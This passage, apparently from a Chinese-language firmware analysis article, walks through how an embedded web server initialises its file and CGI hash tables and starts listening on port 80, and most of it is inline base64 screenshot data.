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
进入到<code>httpd_file_init</code>该函数主要目的即是初始化与http文件相关的哈希表通过for循环三个全局哈希表<code>gl_vfile_ext_hash、gl_file_hash 和 gl_cgi_ext_hash</code>。这些哈希表用于存储文件扩展名、文件和 CGI 脚本的映射关系,再初始化<code>httpd_all_file</code>结构体存储服务器上可用文件列表用do-while循环进行遍历以便在处理客户端请求,其余<code>httpd_file_ext_init</code><code>httpd_cgi_ext_init</code>也包含相应的信息<br>
<a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204431-d2750ef4-3d27-1.png title><img src="data:image/png;base64,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
接下来就是对服务的初始化当http请求的东西初始化完调用<code>httpd_sever_init</code>开始监听80端口<br>
<a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204531-f609641e-3d27-1.png><img src=data:image/png;base64,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
<a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708204548-00570ab6-3d28-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABP8AAACZCAYAAABQfJ8PAAEAAElEQVR4nOzdd3xcZ53o/8+ZXjXqvRer2bItWe5xie30QhIIhBI6ywK7S/ntXeDeu8uylGUv7AK7QIBl6T2B9OY4rnFXtdWs3stImt7nzPn9IVmWZLkmipPwvHnxAs+c+c7zfc6RRuc7T5FWrVqjMCs/P5/Pfe7TPPzww9xQxbv5+F01eI49wh9PuwjL1x7CVraDbTty8e7fx6mOYbyvfSsvQUKrz6V6902sry4gHoj47XScfIEDr/ThiCkXjpRsZJevYdP2tRQkW9EBrsHDvPD4CbqdAaKL4xpM5FfvYMu6InJsNsDL0JljvPj4cYYXHGtj5Z472V5dSGKwlSd+9xKt4+558dLZ84mPsjHpEimE7LSd2M8LB4dIqd3Bzu3VZBovcayjjl/8+EX6Q9F5uW9jQ3U+tsvkPpO/ioS8Smo2VVOVl4FJqwX6ePE7j3Ha7ec6TrsgCK8jSZIW/FtRlEscKQiCIAjCXzKVLpmcmp9TY3yUl17+KXLyblbXfgHj+Lc4Vv8s/lcV3Yg1+W3U7PwC8c7f0XD0a/T7Zp4xZX+MDTV/Q9zklzjW9BgTl7wplNDo3s3Od/8zWTMtRgr3MdT6j+xtPHJ9zZJUpK/fz63Fes4d3sixgSu/xFLwBWqq1+A+/mXahlsIXuI4lS6FrNpfsyrpCE1PfnnRveBrxLyGwtVfZV38GRpPfp5zk8vxJm8MKl0q2et/xcrEwzQ9+S/L059vahKW1NspXfVZVmSWYNQCvhHGBn9JU/0vGQ16iM0/XG3FlPle1lY9THZaJmYg4u9mqONbnD33LHafMhdXkvIp3vQN1hZvwBJ6ggMvfI1+55ioBSwDzY1uwHKxWMwk63WEXuf3lXQG1r3jYXblyURCAQKKhEqTQMXmOzEZD/HcvjNMywqo1GSt3cTNW2rINEWIBgMEUGPO3MqDD8fz6C9fpMPhn/0hkjDElbDn/Q9SZY0SjcgEAgEgSCgcXfiDBkjxWWSmxuEcHUKbnERRhonuKTfRuepfbKZtgcUvVKHWaNEqCrGYgoKCLEcIBQMsPhS1FoNWAzF57v0vmfumOzEaD/H8+dwBlTqBih23clN1IfEqmagsE4hGgRBRUUAQhDcFUewTBEEQBOFqqCQ9NksqUVc/bizEawsw6bwEAxOvsvAHEMAz+VsO/PG3ryKGQjT8a/b+7NeAlbjkj3DTLXe/6pZdK7MpBZvWdMU+UUkaEuKyMb8urXrrU6nUxFv/kvtThaQ2oVWDHPUiLy4wsIqsoocoyEpHHXMSCgHaBFJL/xe3xkv8bu9/44/MVl7U8cSt/BG31dRikgNEw05CCkiaVHIKH8LrHcLe2QSoUKkLKar9EqsK1mJSR5ENt7P9lhgHXvg6A64JZMS9xmvpDVD8k1Brdei1OtRqCUkCTHrU0hJHqnXo9To0GhUqABSikTChUGjmAlVp0BsM6DUqzAYtapUavdGMNS5u9niIhf34QlHO37NeMeYiap0Bg14DkQCBkMyiwWzoVz/Arrwwru46nnnxJXo8RpKL13Hrji1kFa9k9dAgB1odqNIrqSwvITM2zKnn93K8dRivKZebdt7G+tKV7Lmpnf7nzuGPxJC0JqrvfZCVOhfnThznVH0XfQ7HJfszPiudFIuH0Ze7mF6/ltzCDIxdU/i8kdljJjjwk29yYNHrVHEZVNx0B7dluhgbGcWLH2/9i/TXv7joPVToKm7lI7dWEu04x4QsL8y96zTP7N03l/ttO7eQVXQhd0XSkLV2I+sq8mG0hQMnm2nqHcIfiSAIgiAIgiAIwluFCYM5EYNhAzZLjKA9iNmcj9VSgtWkJapPwmxKIhJ2E45e/b2ApEnEpNdf9LgSCxIJOYgscR8naSzoTWY0kgqUMNGQg9BSN3zLQJLUaPTx6DQ6JGLEoj4iYS9RBVAZ0emsaNVqDDoTKkmH1pCCyZyB+nxekWn84RBoEjHr9Wj0qejUKlQqMwZzxlzRSokFiYTdRGQZSW1BpzMhRd1E0KDRXiF3SY9Wa0Gr0c3ekyej12hfRdJmDCYLhKcJyRp0+jg0KhWKEkWOeAhHgvNKO2rUGhNarQm1SgXIKLKfUMiHvPjLZkmPVjfbTgBFRo56CEcCi+7NryLmXH+moVNLl+3Pa6HWpWLQSERC4xdmMUpaNLp4dKroopiL2wmKHCAScRNZ6hzN5a7MnMuIl3AkPK8vtWj1cWikMOFwEEljQacxIEnM5u++uE91aSRX/id7CiK0HHuIptHFGUXw2l+iaewrDA914I8A1rezY/cXyEvfQp7q57QTQkGF3vgQW2tqMQS66Dn3Jeo7XsHrBZ15BdlZm1C84dmYaeRUfYbyvHTs7X8ikFuMu7cJc/4ebtrzt+x98iuMhQMX8pL0aPU2tGr1zHknhhz1EQ57L6rJCEu7wcU/FRpDKoWVa6itqiAnzYx23u8X5/xDJS22FRvZsXEt+dlxWIFoNMhQTwOnDr9C10iAaFIRG3bsYnvZhfmsGXe/kzXzwjjqfsuP9/YQisQuETPAUE/jhZgL2qshb/1O9mwoJtb6HE8e7mHCG5v3g6ZndXk+0UAfx198iZ5pQArhGOyiviWb9E3xJKdlENfqxpySQkqCiu7G4zS1DeMNA/Iop061kJ8TR25BCemqbnqJocveQU12kKlTz/DHfT1X6NJ4stJTiPNPctI3hMFRzoqCQjKNnTi8kUsPn1XpSEzOZ3WxibHOOrq7PZd+D20a66sKMKr62XdyjGhUWZj73n2Lcs/h9o02klPTiWt14LEVUJCXRYKnkef3H6Vt2H35nARBEARBEARBeNORpLvZ9s5/I/v8Awm/5Z3VF55PqP4RhSWHaaz/OvXdLVcZVYW2+Nu8c/P2i57x25+i6cSnaJuY/6iMSptIyopPs6bgQdLNNtT+ZnoavsDJrlb8y10AlBR0trWUFn+JqrxVGKMOPMO/panxEbqnXMjxu6mq+XuqcvLmXpK4/eeUzQvhbn0vfz75CrGCb/HOm26e98y72P7Od839Kzz9As11X6J5cARjxnvYUPMu9KP/Q1+0gLySt8/L/f9yuqcZ7/kqqWTBZLuditXvpThjDSbThXfwjtVfT9JotA+w7f7PoDrzt9TZS1mz7uPkJKUQDQww0PZ9mlv/zHR4ZmKzWldOdvG7qVh5O6mWRNRM4Lc/TsPxX9EzOUhEOd9OLSbbPVRUv4/i/NWYgGhwhIneRzjb9nuGnBcmSl8qZv3xX9E7G1N1UX8+xPZ3PrRkf1596mpS1v6RW4t1nDu86cJ0b1Mluau/xubUoQUxL24n+O3P03n2KzT1DxE9X9m6KPcQ0WADQ+d+RfPZ/UwHvbMz8sopqvkCKyyNnG2tx5L7flYWbsCg0+GbeJq6I1+m2zl+jWPq2hjualvwiCpwgOHJT5KhdxE+PxdQMpK65n2kRSexd/wzh+pfudCXvnP0nDs3L0KUSLCDntO/ZsCVy9qsclT+xzh8sI11VQlEFGWujZJkwZJ0N6WbPk1xSvrMeY86GB/6He3NP2JkenrJgr+w0I0t/mnjyV1zE9vWFxCHm+kpF3IMNIY4kmwLB92qpBTW37SePK0Hz4gXDxJqrZGUgjVsjYYIPnWYvmgQr2OCkZEQOnM8cRYtEZcLbzA8V/TyOINzU9VUqtQlYpoWxgzPb0UiCbZEDAYLhpwVJBjGmPR6LxTUtBWU5CrIAz10TUuo1HrMKWlkFa5kXUUmJl0Mk9mCRZtMUmIKiepJGidduENq9NY4bBlFVFWVk27Sz3xA6SR6Q5BeVoRFnqSp3UVaWiZqNaDEiIb8eLw+AvMWRVTHp5OeYkP29REK2hnvH8dbUkhJlolzDh9ydKkfcwm1OZG0ikrSA2OcaO9k/JInTY1pxWrK03Q46uvpDIVm8r9c7uUZmHQxjBYrFjUoyYk
